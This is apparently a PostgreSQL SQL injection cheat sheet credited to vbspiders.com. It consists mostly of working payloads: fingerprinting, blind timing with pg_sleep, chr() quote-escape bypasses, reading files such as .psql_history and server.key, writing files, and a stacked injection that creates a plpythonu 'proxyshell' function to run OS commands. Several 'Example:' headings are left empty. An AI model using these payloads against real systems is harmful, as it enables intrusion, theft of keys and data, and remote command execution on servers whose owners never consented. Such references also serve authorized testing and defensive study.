Identifing PostgreSQL When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is POSTGRESQL by using the :: - cast operator Examples: The function version() can be used to grab the POSTGRESQL banner. This will also show the underlying operating system type and version. Example: Blind Injection For blind SQL Injection attacks, you should take into consideration the following built-in functions: - String Length : LENGTH(str) - Extract a substring from a given string: SUBSTR(str,index,offset) -String representation with no single quotes : CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111) Starting from 8.2 POSTGRESQL has introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. In previous version, you can easily create a custom pg_sleep(n) by using libc: CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT Single Quote unescape Strings can be encoded, to prevent single quotes escaping, by using chr() function. * chr(n): Returns the character whose ASCII value corresponds to the number n * ascii(n): Returns the ASCII value which corresponds to the character n Let's say you want to encode the string 'root': select ascii('r') 114 select ascii('o') 111 select ascii('t') 116
We can encode 'root' as: chr(114)||chr(111)||chr(111)||chr(116) Example: Attack Vectors Current User The identity of the current user can be retrieved with the following SQL SELECT statements: SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername() Examples: Current Database The built-in function current_database() returns the current database name. Example: Reading from a file: ProstgreSQL provides two ways to access a local file: • COPY statement • pg_read_file() internal function (starting from POSTGRESQL 8.1) COPY: name.php?id=1; CREATE TABLE file_store(id serial, data text)-- name.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'-- Data should be retrieved by performing a UNION Query SQL Injection: - retrieves number of rows previously added in file_store with COPY statement - retrieves a row at time with UNION SQL Injection pg_read_file(): Example: SELECT pg_read_file('server.key',0,1000); Writing to a file : name.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'-- executing a shell command redirecting its stdout : SELECT system('uname -a > /tmp/test') Create a proxy shell function: name.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- Run an OS Command: name.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- Copyrigh vbspiders.com
POSTGRESQL Injection